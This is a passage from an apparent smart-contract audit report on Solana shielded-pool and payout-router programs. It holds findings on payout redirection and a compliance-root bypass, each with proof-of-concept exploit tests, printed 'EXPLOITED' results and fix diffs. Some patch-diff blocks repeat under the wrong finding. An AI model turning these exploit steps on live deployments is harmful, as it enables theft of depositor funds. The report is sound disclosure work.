    let verifier = Pubkey::new_unique(); // stored in pool.verifier; never CPI'd (we revert before L241)

    // ... account/SPL pre-state setup elided for brevity ...

    let redeem_ix = Instruction {
        program_id: pid,
        accounts: vec![
            AccountMeta::new(relayer.pubkey(), true),           // caller (signer, mut) = relayer
            AccountMeta::new(pool_pda, false),                  // pool (mut)
            AccountMeta::new(marker_pda, false),                // nullifier_marker (mut)
            AccountMeta::new(pool_vault, false),                // pool_vault (mut)
            AccountMeta::new_readonly(payee.pubkey(), false),   // payee
            AccountMeta::new(payee_ata, false),                 // payee_ata (mut)
            AccountMeta::new(relayer_ata, false),               // caller_ata (mut)
            AccountMeta::new_readonly(verifier, false),         // verifier_program
            AccountMeta::new_readonly(token_program(), false),  // token_program
            AccountMeta::new_readonly(system_program::ID, false), // system_program
        ],
        data: redeem_data,
    };
    let bh = svm.latest_blockhash();
    let tx = Transaction::new_signed_with_payer(&[redeem_ix], Some(&relayer.pubkey()), &[&relayer], bh);
```

```
    let res = svm.send_transaction(tx);
    assert!(res.is_err(), "redeem_note MUST revert - R0 is gone from root_history after re-init");
    let logs = res.err().unwrap().meta.logs.join("\n");
    assert!(
        logs.contains("0x176e") || logs.contains("UnknownRoot") || logs.contains("Unknown Merkle root"),
        "redeem_note reverts with UnknownRoot (custom 6006 = 0x176e) - depositor funds frozen.\nlogs:\n{logs}",
    );

    println!(
        "L2-18 EXPLOITED: close_legacy_pool destroyed a LIVE funded pool; re-init adopted the \
         {deposit_amount} USDC vault and wiped root R0; relayer redeem_note(R0) reverts UnknownRoot \
         (6006) - all prior depositor funds permanently frozen."
    );
}

// full runnable harness: l5/L2-18_close_legacy/src/lib.rs
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
--- a/solana-shielded-pool/src/lib.rs
+++ b/solana-shielded-pool/src/lib.rs
@@ -13,4 +13,6 @@
 const MERKLE_TREE_DEPTH: usize = 20;
 const ROOT_HISTORY_SIZE: usize = 32;
+// FIX F08: size of the on-chain ASP (approved-set) root allowlist ring.
+const ASP_ROOT_HISTORY_SIZE: usize = 32;
 const MAX_LEAVES: u64 = 1u64 << MERKLE_TREE_DEPTH;
 const EMPTY_VALUE: [u8; 32] = [0u8; 32];
@@ -28,4 +30,8 @@
         pool.pool_bump = ctx.bumps.pool;
         pool.paused = false;
+        // FIX F08: bootstrap the ASP compliance authority to the pool
+        // authority; rotate later via `configure_pool` if a dedicated
+        // compliance key is used.
+        pool.asp_authority = ctx.accounts.authority.key();
         initialize_merkle_state(pool)?;

@@ -84,4 +90,42 @@
             let legacy_admin = Pubkey::new_from_array(admin_bytes);
             require_keys_eq!(legacy_admin, ctx.accounts.admin.key(),
ShieldedPoolError::UnauthorizedAuthority);
+
+            // FIX F06: refuse to wipe a LIVE, current-schema pool. This
+            // instruction must ONLY reap a genuinely stale/ill-formed legacy
+            // buffer - never a live pool that still holds depositor notes.
+            // (1) Discriminator/length check: a current-schema account has
+            //     data.len() == ShieldedPoolAccount::LEN. The legacy buffer the
+            //     doc-comment describes is SMALLER (it pre-dates the modern
+            //     layout), so a >= LEN buffer is definitively NOT legacy.
+            require!(
+                data.len() < ShieldedPoolAccount::LEN,
+                ShieldedPoolError::PoolNotLegacy,
+            );
+            // (2) Pause gate: even an ostensibly-legacy buffer may only be
+            //     wiped after an explicit, separate pause step. `paused` lives
+            //     at the same raw offset in the legacy layout as in the current
+            //     one (disc(8)+authority(32)+relayer(32)+verifier(32)+
+            //     usdc_mint(32)+pool_bump(1)+tree_depth(1)+current_root_index(1)
+            //     +root_history_count(1)+latest_root(32)+commitment_count(8)+
+            //     next_leaf_index(8) => paused byte at offset 188). Require the
+            //     buffer to carry it and require the flag to be set.
+            const PAUSED_OFFSET: usize = 8 + 32 + 32 + 32 + 32 + 1 + 1 + 1 + 1 + 32 + 8 + 8;
+            require!(data.len() > PAUSED_OFFSET, ShieldedPoolError::PoolNotLegacy);
+            require!(data[PAUSED_OFFSET] == 1, ShieldedPoolError::PoolNotPaused);
```

```
+        }
+
... (diff truncated -- full patch in fix-program/programs/solana-shielded-pool/src/lib.rs)
```

FINDING 07 / 15

HIGH F07 account-substitution

Net seller payout on spr-payout-router can be redirected to an attacker-owned token account

INVARIANT spr-payout-router pays payee_ata with no binding to the proof-bound recipient, so the net seller payout is redirectable to an attacker ATA.

AFFECTED CODE

- `programs/solana-spr-payout-router/src/lib.rs:270-271` — the sole recipient binding: reduces the `payee` **wallet** key mod BN254 and compares to the proof's `recipient`. Binds the wallet, not the destination ATA.
- `programs/solana-spr-payout-router/src/lib.rs:394-403` — `token::transfer` of `net` from `router_ata` to `payee_ata`, signed by the router PDA; `payee_ata` is the unchecked destination.
- `programs/solana-spr-payout-router/src/lib.rs:517-518` — `payee_ata` declared `#[account(mut)] UncheckedAccount` with no owner/authority/address constraint to `payee` or `recipient` (CHECK rationale at `lib.rs:509-516`).
- `programs/solana-spr-payout-router/src/lib.rs:223-233` — `payout_to_seller` is permissionless: `caller` is a bare `Signer` (`lib.rs:478-479`), with no authority allowlist; the only arg guards are length/non-zero checks.
- `programs/solana-spr-payout-router/src/lib.rs:333-347` — on the pool CPI the router substitutes `router_pda` as the pool's `payee` and `router_ata` as the pool's `payee_ata`, so the pool's owner check (`solana-shielded-pool/src/lib.rs:1092-1099`) guards `router_ata`, never the seller's ATA.

DESCRIPTION

The intended invariant (L2-19): the net redeem amount (`amount - fee`) must reach a token account owned by the recipient wallet bound into the seller's redeem Groth16 proof.

`payout_to_seller` enforces recipient binding on the wrong object. It checks the proof-bound `recipient` against the `payee` **wallet** account, but pays the net into a *separate*, unconstrained `payee_ata` **token** account that is never tied back to that wallet.

Concretely, in `programs/solana-spr-payout-router/src/lib.rs`:

- The only recipient check is at `lib.rs:270-271`: `let payee_reduced = pubkey_mod_bn254_p(&ctx.accounts.payee.key().to_bytes()); require!(payee_reduced == recipient, RouterError::PayeeMismatch);`. This binds the proof's `recipient` public input to the `payee` **wallet** pubkey — and nothing else.

- The net funds are sent to a different account, `payee_ata`, at `lib.rs:394-403` (`Transfer { from: router_ata, to: ctx.accounts.payee_ata, authority: router }`, then `token::transfer(cpi_net, net)`).
- `payee_ata` is declared at `lib.rs:517-518` as `#[account(mut)] pub payee_ata: UncheckedAccount<'info>`. It has no `associated_token::authority = payee` / `token::authority = payee` / `address = ...` constraint and no in-body owner check tying it to `payee` or `recipient`.

The program's own CHECK comment on this field (`lib.rs:509-516`) states the gap plainly: "Pool no longer validates this account directly (pool's payee_ata is router_ata now), so the router itself is responsible for ensuring the payee_ata's owner matches the proof's `recipient`. We rely on the SPL Token program rejecting any mint-mismatched account at transfer time; recipient binding is enforced in step 2 above." But step 2 (L270-271) binds only the `payee` wallet — not `payee_ata` — so the stated responsibility is never discharged. The SPL Token program enforces only that `payee_ata`'s mint matches at transfer time, not that it belongs to `payee`.

This account split is structural to the Faza 6a design. On the inner pool CPI the router passes *itself* (`router_pda`) as the pool's `payee` and `router_ata` as the pool's `payee_ata` (`lib.rs:345,347` and the comment at `lib.rs:333-336`). So the pool's own owner check (`validate_token_account` / `load_token_account`, `solana-shielded-pool/src/lib.rs:1092-1099`) validates `router_ata.owner == router_pda` — it never sees the seller's ATA. The full `claimed_amount` lands in `router_ata`, and the router's step-5 split (`lib.rs:373-403`) is the only thing that moves net funds toward the seller. Because that split's destination (`payee_ata`) is unbound, the seller's entitlement is decoupled from where the money actually goes.

IMPACT

Who loses what: the proof-bound seller (the legitimate recipient of every redeem) receives nothing; the attacker captures `net` (here 95% of the released amount, the rest being the protocol fee). Because the full `claimed_amount` is released from the **shared** `pool_vault` on each call, every redeem an attacker can relay is fully redirected.

Preconditions: the attacker must present one valid seller redeem proof for the quote being redeemed. A relayer that legitimately handles redeems, or anyone who observes/obtains such a proof, satisfies this — the proof binds only `quote_nullifier` and the seller `recipient` wallet, neither of which constrains the destination ATA.

Attacker privilege: **unprivileged**. `payout_to_seller` has no authority gate (`caller` is a bare `Signer`); no admin role, router key, or pool authority is required. The proof-possession precondition is the only gate, and it is satisfied by exactly the relayer role the path is designed to be called by.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

Not applicable — no Kani harness was authored for this finding; its claim is corroborated by the engine PoC and the on-chain LiteSVM reproduction.

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

PoC crate: `l5/L2-19_payee_ata_substitution` (`src/lib.rs` , test `payee_ata_substitution_redirects_net_to_attacker`). It runs the **real** built `solana_spr_payout_router.so` + `solana_shielded_pool.so` in LiteSVM against the on-chain pre-state.

Attack steps (the harness installs the equivalent pre-state via `set_account` : a funded `pool_vault` holding `claimed_amount` , a pool PDA with valid `usdc_mint` / `pool_bump` / `paused` , an `SprPoolConfig` whitelisting the router PDA as `spr_payout_router_authority` , the router `Router` account, and the four ATAs):

- The attacker holds or observes any valid seller redeem proof for a quote (an explicit, honest precondition — this finding is not a proof forgery).
- The attacker (a bare signer / fee-payer — `payout_to_seller` has no authority gate) submits `payout_to_seller(quote_nullifier, recipient, claimed_amount, proof)` with:
- `payee` = the genuine seller wallet the proof binds (satisfies the L270-271 reduction check; `recipient = reduce(seller_pubkey)`),
- `payee_ata` = an **attacker-owned** USDC token account (same mint, so SPL Token accepts it at transfer time).
- The redeem-verifier CPI returns Ok; the router asserts `payee_reduced == recipient` (passes, since `payee` is the real seller wallet).
- The router CPIs `pool.payout_by_router` signed by its PDA; the pool releases the full `claimed_amount` into `router_ata` (pool checks only `router_ata.owner == router_pda`).
- Step 5 splits: `net = claimed_amount - fee` is transferred from `router_ata` to the attacker's substituted `payee_ata` ; `fee` goes to `fee_collector_ata` .

Proven runtime result (EXPLOITED evidence from the green test): with `claimed_amount = 1_000_000_000` (1000 USDC), `fee = 50_000_000` , `net = 950_000_000` :

> `L2-19 EXPLOITED: payee_ata substitution redirected net 950000000 (of 1000000000) USDC to an attacker-owned ATA; proof-bound seller got 0; vault drained. fee=50000000.`

The test asserts `attacker_ata == 950_000_000` , `seller_ata == 0` , `fee_collector_ata == 50_000_000` , `router_ata == 0` , and `pool_vault == 0` .

Stub-verifier disclosure: the redeem Groth16 is modeled by a pass-through stub program loaded at the verifier's devnet id. This is faithful because the bug is the missing `payee_ata → recipient` binding, not a proof-forgery, and because the real verifier's recipient binding does not cover the destination ATA at all. The real redeem verifier's public inputs are `[quote_nullifier, recipient]` only — `GROTH16_PUBLIC_INPUTS = 2` at `programs/solana-shielded-payment-redeem-verifier/src/lib.rs:51` , and `build_public_inputs` returns `[payload.quote_nullifier, payload.recipient]` at `lib.rs:123-125` . The proof therefore says nothing about a token account; the

router's job is to bind `payee_ata` to that `recipient`, and it does not. The router gates the stub solely via `require_keys_eq!(redeem_verifier.key(), router.redeem_verifier)` then `invoke()` (`lib.rs:244-254`), so the identity-checked stub faithfully models "a valid proof was presented."

RECOMMENDED FIX

Bind the actual payout destination to the proof-bound recipient, not just the `payee` wallet. Constrain `payee_ata` in the `PayoutToSeller` accounts so SPL/Anchor enforces ownership by `payee`:

```
#[account(
    mut,
    token::mint = <usdc_mint>,
    token::authority = payee,   // or: associated_token::authority = payee, associated_token::mint = <mint>
)]
pub payee_ata: Box<Account<'info, TokenAccount>>,
```

Equivalently, if `payee_ata` must stay an `UncheckedAccount`, add an in-body owner check before the net transfer (mirroring the pool's `load_token_account` at `solana-shielded-pool/src/lib.rs:1092-1099`): deserialize the SPL Token account and `require_keys_eq!(payee_ata.owner, ctx.accounts.payee.key())` and `require_keys_eq!(payee_ata.mint, <usdc_mint>)`. Either way the destination becomes provably owned by the same `payee` wallet that L270-271 already binds to the proof's `recipient`, closing the decoupling.

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```rust
//! L2-19 [High] - solana-spr-payout-router: NET SELLER PAYOUT REDIRECTED TO ATTACKER.
//!
//! WHAT THIS PROVES (against the REAL built solana_spr_payout_router.so +
//! solana_shielded_pool.so, in LiteSVM):
//!   `payout_to_seller` binds the proof's `recipient` only to the `payee` WALLET
//!   account (router lib.rs:270-271: `pubkey_mod_bn254_p(payee.key()) == recipient`),
//!   but the token account that actually receives the net payout - `payee_ata` - is an
//!   unconstrained `#[account(mut)] UncheckedAccount` (router lib.rs:509-518) with NO
//!   owner/authority tie to `payee` or `recipient`. The instruction is permissionless
//!   (`caller` is a bare Signer). An attacker who relays/observes ANY valid seller
//!   redeem proof submits payout_to_seller with payee=sellerWallet (satisfies L271,
//!   recipient = reduce(sellerWallet)), but payee_ata = an ATTACKER-owned USDC ATA.
//!   SPL Token's only runtime check on that ATA is the matching mint, which the attacker
//!   ATA satisfies. The pool releases the FULL claimed_amount into router_ata, then the
//!   router transfers net = amount-fee to the attacker's ATA and fee to fee_collector_ata.
//!   The bound seller receives NOTHING; the vault is drained for every redeem relayed.
//!
//! METHOD (DarkDrop-sanctioned): we install the exact on-chain pre-state via set_account
//! - a funded pool_vault, a pool PDA (valid usdc_mint/pool_bump/paused - `payout_by_router`
//! never touches the merkle fields), an SprPoolConfig whitelisting the router PDA as the
//! payout authority, the router PDA account, and the four ATAs - then run the REAL
//! `payout_to_seller` instruction as the attacker. We do NOT run initialize_pool /
//! deposit_note (their ATA-init CPIs are painful and irrelevant to this bug).
//!
//! The redeem-verifier Groth16 is modeled by a pass-through stub program
//! (`include_bytes!`-compiled redeem_verifier_stub.so, loaded at the verifier's devnet

#[test]
fn payee_ata_substitution_redirects_net_to_attacker() {
    let pool_pid = pool_id();
    let router_pid = router_id();
    let verifier_pid = redeem_verifier_id();

    let mut svm = LiteSVM::new();
    // Two REAL target programs + a pass-through stub at the redeem-verifier id.
    load_so(&mut svm, pool_pid, "solana_shielded_pool");
    load_so(&mut svm, router_pid, "solana_spr_payout_router");

    // ... account/SPL pre-state setup elided for brevity ...

    };

    let bh = svm.latest_blockhash();
    let tx = Transaction::new_signed_with_payer(&[ix], Some(&attacker.pubkey()), &[&attacker], bh);
    let res = svm.send_transaction(tx);
    assert!(
        res.is_ok(),
        "attacker payout_to_seller must SUCCEED (THE BUG): {:?}",
        res.err()
    );

    // -- PROOF OF THEFT ------------------------------------------------------
    // fee = ceil(CLAIMED_AMOUNT * 500 / 10000); net = CLAIMED_AMOUNT - fee.
    let fee = ((CLAIMED_AMOUNT as u128 * 500 + 9_999) / 10_000) as u64;
    let net = CLAIMED_AMOUNT - fee;
    assert_eq!(fee, 50_000_000, "fee = 50 USDC");
    assert_eq!(net, 950_000_000, "net = 950 USDC");
```

```
    assert_eq!(tok_amount(&svm, &attacker_ata), net,
        "EXPLOIT: net {net} routed to the ATTACKER's substituted ATA");
    assert_eq!(tok_amount(&svm, &seller_ata), 0,
        "the proof-bound seller (recipient) received NOTHING");
    assert_eq!(tok_amount(&svm, &fee_collector_ata), fee, "fee collected as designed");
    assert_eq!(tok_amount(&svm, &router_ata), 0, "router intermediate fully split out");
    assert_eq!(tok_amount(&svm, &pool_vault), 0,
        "pool vault drained by the full claimed_amount {CLAIMED_AMOUNT}");

    println!(
        "L2-19 EXPLOITED: payee_ata substitution redirected net {net} (of {CLAIMED_AMOUNT}) USDC \
         to an attacker-owned ATA; proof-bound seller got 0; vault drained. fee={fee}."
    );
}

// full runnable harness: l5/L2-19_payee_ata_substitution/src/lib.rs
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
--- a/solana-spr-payout-router/src/lib.rs
+++ b/solana-spr-payout-router/src/lib.rs
@@ -54,4 +54,10 @@
 const ROUTER_SEED: &[u8] = b"spr_payout_router";
 const REDEEMED_QUOTE_SEED: &[u8] = b"spr_redeemed_quote";
+// FIX F01: per-quote recorded deposit/quote amount PDA. The match
+// pipeline records the authoritative matched price for a quote here
+// (admin-gated); payout_to_seller then rejects any claimed_amount that
+// does not equal it, restoring the `claimed_amount == deposit.amount`
+// equality the legacy spr-escrow enforced.
+const QUOTE_AMOUNT_SEED: &[u8] = b"spr_quote_amount";

 // -- Platform fee (Faza 6a-fee) ---------------------------------------------
@@ -213,6 +219,35 @@
         }
         if let Some(next) = new_admin {
+            // FIX F14: zero-guard the admin rotation just like the verifier/pool
+            // branches above. Setting router.admin to the all-zero (unsignable)
+            // key would make the `has_one = admin` gate on Configure permanently
+            // unsatisfiable, bricking all future rotation of redeem_verifier /
+            // pool_program. Reject the default key so governance stays recoverable.
+            require!(next != Pubkey::default(), RouterError::ZeroAdmin);
             router.admin = next;
         }
+        Ok(())
+    }
+
+    /// FIX F01: admin-gated recorder for a quote's authoritative amount.
+    /// The off-chain match pipeline calls this once per matched quote to
+    /// pin the true deposited/matched price into a per-quote PDA keyed by
+    /// `quote_nullifier`. `payout_to_seller` then enforces
+    /// `claimed_amount == quote_amount_record.amount`, so a relayer can no
+    /// longer forward an unconstrained over-claim into the shared pool.
+    /// init-once: the PDA can only be written here a single time, so a
+    /// recorded amount is immutable for the life of the quote.
+    pub fn register_quote_amount(
+        ctx: Context<RegisterQuoteAmount>,
+        quote_nullifier: [u8; 32],
+        amount: u64,
+    ) -> Result<()> {
+        require!(quote_nullifier != [0u8; 32], RouterError::ZeroNullifier);
+        require!(amount > 0, RouterError::ZeroAmount);
+        let record = &mut ctx.accounts.quote_amount_record;
+        record.quote_nullifier = quote_nullifier;
+        record.amount = amount;
+        record.bump = ctx.bumps.quote_amount_record;
+        emit!(QuoteAmountRegistered { quote_nullifier, amount });
         Ok(())
     }
```

```
@@ -232,4 +267,26 @@
         require!(recipient != [0u8; 32], RouterError::ZeroRecipient);
... (diff truncated -- full patch in fix-program/programs/solana-spr-payout-router/src/lib.rs)
```

FINDING 08 / 15

MEDIUM F08 asp-bypass

redeem_note accepts any caller-supplied ASP root with no on-chain allowlist check

INVARIANT redeem_note forwards a caller-supplied asp_root to the verifier with no on-chain ASP-allowlist check, bypassing compliance.

AFFECTED CODE

- `programs/solana-shielded-pool/src/lib.rs:191` — `redeem_note` signature takes `asp_root_bytes: [u8; 32]` as a free instruction argument.
- `programs/solana-shielded-pool/src/lib.rs:208` — `require_keys_eq!(caller.key(), pool.relayer)` : the only caller gate is that the signer is the pool's configured relayer; nothing constrains the ASP root.
- `programs/solana-shielded-pool/src/lib.rs:210` — `require!(is_known_root(&pool, root_bytes))` : the POOL root is allowlist-checked against `root_history` . This is the gate that is conspicuously **absent** for the ASP root.
- `programs/solana-shielded-pool/src/lib.rs:245` — `asp_root_bytes` passed straight into `verify_withdraw_proof` , with no preceding `is_known_asp_root` /registry check.
- `programs/solana-shielded-pool/src/lib.rs:1137-1182` — `verify_withdraw_proof` serializes `asp_root` into the CPI payload (line 1160) and CPIs the verifier; the verifier only attests membership in whatever tree the supplied root names.
- `programs/solana-shielded-verifier-asp/src/lib.rs:121-131` — `build_public_inputs` places the caller-supplied `asp_root` at index 1 of the public inputs (line 124); the real Groth16 verifier proves membership in that exact tree, with no source/approval attestation.
- (Contrast, not a defect) `programs/solana-private-pool-v2/src/lib.rs:3236` (`is_known_asp_root`), `:1615` (`add_asp_root`), `:2470-2473` (`asp_root_history`) — the allowlist machinery present in V2 and entirely missing from the legacy pool.

DESCRIPTION

`redeem_note` proves the `ShieldedWithdrawWithAsp` circuit, which binds two roots: the pool Merkle root (`root_bytes`) and the approved-set / ASP root (`asp_root_bytes`). The ASP root exists to enforce a compliance allowlist: a withdrawal should only clear if the note's commitment is in a tree whose root was **published/approved by the compliance authority**. The invariant (L2-26, Family-4) is that the ASP root a withdrawal proves membership in must be an allowlist root validated on-chain — not a value the caller invents.

The pool enforces this invariant for the pool root but not for the ASP root. In `programs/solana-shielded-pool/src/lib.rs`:

- The pool root is gated at line 210: `require!(is_known_root(&ctx.accounts.pool, root_bytes), ShieldedPoolError::UnknownRoot)`. `is_known_root` (defined at line 1082) scans the pool's on-chain `root_history` (declared at line 550, maintained at lines 1075-1078), so an attacker cannot name an arbitrary pool root.
- The ASP root receives **no equivalent gate**. `asp_root_bytes` flows from the instruction argument (line 191) straight into `verify_withdraw_proof(... asp_root_bytes ...)` at line 245, with no `is_known_asp_root`, no ASP `RootRecord` PDA, and no asp-registry CPI anywhere between lines 191 and

252.

This is a regression relative to the sibling `solana-private-pool-v2`, which carries the missing machinery: an `asp_root_history` array (`programs/solana-private-pool-v2/src/lib.rs:2470-2473`), an authority-gated `add_asp_root` publisher (line 1615), and an `is_known_asp_root` check (line 3236) that V2 actually invokes inside its withdraw paths (e.g. lines 731, 1089, 1296). The legacy `solana-shielded-pool` has none of these — there is no ASP root state, no publisher instruction, and no `asp_authority` field in the program at all.

The downstream verifier does not and cannot rescue this. `solana-shielded-verifier-asp` folds `asp_root` into the Groth16 public-input vector verbatim (`programs/solana-shielded-verifier-asp/src/lib.rs:121-131`, with `asp_root` placed at `build_public_inputs` line 124). A Groth16 proof over those inputs proves only "this commitment is a member of the tree whose root equals the supplied `asp_root`." It has no way to attest that the named root was ever approved by a compliance authority — that on-chain allowlist check is precisely what the pool omits.

IMPACT

This is a **compliance / approved-set allowlist bypass**, not a direct theft of funds beyond the caller's entitlement. The intended security property — "redeemed notes must belong to the compliance-approved set" — is unenforceable on this pool: a redeemer can prove ASP membership against a tree they constructed themselves (or pass any root with the faithful-stub realization), defeating the approved-set restriction entirely.

Who loses what: the operator / compliance authority loses the ability to restrict redemptions to an approved set; a sanctioned or non-allowlisted note can be redeemed as if approved. Preconditions: the caller must be the configured `pool.relayer` (line 208) — so this is gated on the relayer cooperating or being compromised, which is the realistic precondition for any privacy-pool relay path — and must hold a valid pool-root membership note. Attacker privilege: **unprivileged** in the registry sense (no admin/authority needed; the ASP root is a free argument any such caller chooses). Fund safety against over-withdrawal still rests on the pool-root membership gate (line 210) and the nullifier double-spend marker (lines 222-234), which remain intact — this finding does not by itself let a caller take more than a note they own; it removes the compliance gate.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

Not applicable — no Kani harness was authored for this finding; its claim is corroborated by the engine PoC and the on-chain LiteSVM reproduction.

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

PoC crate: `l5/L2-26_asp_bypass` (test `redeem_succeeds_with_forged_asp_root_no_onchain_allowlist`), run against the real built `solana_shielded_pool.so` in LiteSVM.

Setup: a live, funded pool is installed via `set_account` with the exact `ShieldedPoolAccount` borsh layout — `root_history[0] = known_root` (so the pool-root gate at line 210 passes), `relayer` set to the signing caller (satisfying line 208), `verifier` pointing at the deployed stub, vault funded with 1,000,000,000 µUSDC.

Attack steps:

- The relayer (the only authorized `redeem_note` caller, line 208) constructs `redeem_note(root_bytes = known_root, asp_root_bytes = [0xAB; 32], nullifier, amount = 750_000_000, relayer_fee = 0, proof)`. The pool root is a genuine known root; the ASP root `0xAB..AB` is a value the attacker simply invents and that no registry ever published.
- `is_known_root` passes for the pool root (line 210). There is no corresponding check for `asp_root_bytes`, so it is forwarded verbatim into the verifier CPI (line 245).
- The verifier returns Ok, the nullifier marker is written, and the pool transfers the funds to the attacker-chosen `payee_ata`.

Proven runtime result (green): the test asserts the redeem succeeds and the balances move, and prints — `> L2-26 EXPLOITED: redeem_note paid out 750000000 to the attacker with asp_root = 0xAB..AB — a value never published to any approved-set registry. The pool gates the pool Merkle root (is_known_root) but has NO is_known_asp_root / RootRecord / registry CPI, so the ASP compliance check is entirely absent on-chain.`

The test further confirms the nullifier marker stores the POOL root (`marker.data[40..72] == known_root`) — the forged `asp_root` is never recorded anywhere on-chain, because the pool never gates or persists it.

Stub-verifier disclosure (stated plainly, not hidden): this finding is proven with the faithful no-op SBF stub verifier (`l5/L2-26_asp_bypass/noop_verifier.so`), wired in as the pool's `verifier` so the CPI at line 245 returns Ok for any input. The stub is faithful because the defect under test is the **pool's** missing on-chain ASP allowlist, not anything the verifier does. A real Groth16 verifier would reach the same outcome: per `build_public_inputs` (`programs/solana-shielded-verifier-asp/src/lib.rs:124`), the real verifier takes `asp_root` as a public input and proves only membership in the tree that root names — so an attacker who builds an ASP tree containing their note and names its root as `asp_root` produces a genuinely valid proof. Either way nothing on-chain checks that the root was approved.

RECOMMENDED FIX

Add an on-chain ASP-root allowlist to `solana-shielded-pool`, mirroring the machinery already present in `solana-private-pool-v2`:

- Add ASP-root state to `ShieldedPoolAccount`: an `asp_root_history: [[u8; 32]; ASP_ROOT_HISTORY_SIZE]` ring (and `asp_root_history_count`), plus an `asp_authority: Pubkey` field — paralleling `solana-private-pool-v2/src/lib.rs:2470-2473`.
- Add an authority-gated publisher instruction `add_asp_root(new_asp_root)` that only the `asp_authority` may call, appending to `asp_root_history` — paralleling `solana-private-pool-v2/src/lib.rs:1615`.
- In `redeem_note`, before forwarding the root (i.e. immediately after the existing pool-root gate at line 210), enforce the ASP root against that allowlist:

```
require!(is_known_asp_root(&ctx.accounts.pool, asp_root_bytes), ShieldedPoolError::UnknownAspRoot);
```

where `is_known_asp_root` scans `asp_root_history` exactly as `is_known_root` scans `root_history` today (the V2 implementation is at `solana-private-pool-v2/src/lib.rs:3236`). Only then call `verify_withdraw_proof(... asp_root_bytes ...)` (line 245), so the Groth16 membership proof is checked against a root the compliance authority actually published. This keeps the pool-root gate and nullifier marker unchanged and restores the approved-set invariant the verifier alone cannot enforce.

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```rust
//! L2-26 [Medium] - solana-shielded-pool `redeem_note` enforces the POOL Merkle
//! root but NOT the ASP (approved-set) root: the caller-supplied `asp_root_bytes`
//! is forwarded verbatim into the verifier CPI with no on-chain allowlist, so a
//! forged ASP root passes - the ASP compliance gate is absent.
//!
//! WHAT THIS PROVES (against the REAL built solana_shielded_pool.so, in LiteSVM):
//!   `redeem_note` (programs/solana-shielded-pool/src/lib.rs:191-252) takes two
//!   roots - `root_bytes` (the pool Merkle root) and `asp_root_bytes` (the
//!   approved-set root). It gates the FIRST with
//!   `require!(is_known_root(&pool, root_bytes))` (L210), which scans the pool's
//!   on-chain `root_history`. It gates the SECOND with NOTHING: `asp_root_bytes`
//!   is passed straight into `verify_withdraw_proof(... asp_root_bytes ...)`
//!   (L245). There is no `is_known_asp_root`, no `RootRecord` PDA, no
//!   asp-registry CPI, and no `SprPoolConfig`/pool field that stores approved ASP
//!   roots anywhere in the program. The downstream ASP verifier
//!   (solana-shielded-verifier-asp/src/lib.rs:121-131) merely folds `asp_root`
//!   into the Groth16 public-input vector - it proves "this note's commitment is
//!   in the tree whose root == asp_root" but it has NO way to attest that the
//!   supplied root is a root any compliance authority actually published. So the
//!   approved-set check is structurally missing on-chain: any 32 bytes the caller
//!   names as `asp_root` are accepted, and the redeem pays out.
//!
//! METHOD (mirrors the L2-14/L2-18 DarkDrop pattern): we run the REAL
//! `redeem_note` against the real .so. The pool pre-state is installed by hand
//! via `set_account` (the exact ShieldedPoolAccount borsh layout) as a LIVE,
//! FUNDED pool whose `root_history[0]` holds a KNOWN_ROOT (so the pool-root gate

#[test]
fn redeem_succeeds_with_forged_asp_root_no_onchain_allowlist() {
    let pid = program_id();
    let mut svm = LiteSVM::new();
    load(&mut svm, pid);

    // The real no-op SBF verifier the pool is wired to (returns Ok for ANY input).
    // It stands in for the Groth16 ASP verifier so the verifier CPI succeeds and
    // the test isolates the DEFECT: the pool never checks WHICH asp_root is used.
    let stub = stub_verifier_id();

    // ... account/SPL pre-state setup elided for brevity ...


    // -- PROOF: the attacker drained funds while supplying a forged asp_root. ----
    let payee_after = tok_amount(&svm, &payee_ata);
    let vault_after = tok_amount(&svm, &pool_vault);
    assert_eq!(
        payee_after, payout,
        "attacker's payee ATA received the full payout despite a never-approved asp_root"
    );
    assert_eq!(
        vault_after,
        vault_before - payout,
        "pool vault debited by exactly the drained amount"
    );

    // The nullifier marker was written, recording the forged-asp redeem on-chain.
    let marker = svm.get_account(&marker_pda).expect("nullifier marker created by the redeem");
    assert_eq!(marker.owner, pid, "marker owned by the shielded-pool program");
    assert!(!marker.data.is_empty(), "marker is populated - the redeem ran to completion");
```

```
    // NullifierAccount layout: disc(8) pool(32) root(32) nullifier(32) ...
    // The stored `root` is the POOL root (the only one the pool persists); the
    // forged asp_root is never recorded anywhere because the pool never gates it.
    let mut stored_root = [0u8; 32];
    stored_root.copy_from_slice(&marker.data[40..72]);
    assert_eq!(stored_root, known_root, "marker stores the pool root; asp_root is unrecorded/ungated");

    println!(
        "L2-26 EXPLOITED: redeem_note paid out {payout} to the attacker with asp_root = \
         0xAB..AB - a value never published to any approved-set registry. The pool gates the \
         pool Merkle root (is_known_root) but has NO is_known_asp_root / RootRecord / registry \
         CPI, so the ASP compliance check is entirely absent on-chain."
    );
}

// full runnable harness: l5/L2-26_asp_bypass/src/lib.rs
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
--- a/solana-shielded-pool/src/lib.rs
+++ b/solana-shielded-pool/src/lib.rs
@@ -13,4 +13,6 @@
 const MERKLE_TREE_DEPTH: usize = 20;
 const ROOT_HISTORY_SIZE: usize = 32;
+// FIX F08: size of the on-chain ASP (approved-set) root allowlist ring.
+const ASP_ROOT_HISTORY_SIZE: usize = 32;
 const MAX_LEAVES: u64 = 1u64 << MERKLE_TREE_DEPTH;
 const EMPTY_VALUE: [u8; 32] = [0u8; 32];
@@ -28,4 +30,8 @@
         pool.pool_bump = ctx.bumps.pool;
         pool.paused = false;
+        // FIX F08: bootstrap the ASP compliance authority to the pool
+        // authority; rotate later via `configure_pool` if a dedicated
+        // compliance key is used.
+        pool.asp_authority = ctx.accounts.authority.key();
         initialize_merkle_state(pool)?;

@@ -84,4 +90,42 @@
             let legacy_admin = Pubkey::new_from_array(admin_bytes);
             require_keys_eq!(legacy_admin, ctx.accounts.admin.key(),
ShieldedPoolError::UnauthorizedAuthority);
+
+            // FIX F06: refuse to wipe a LIVE, current-schema pool. This
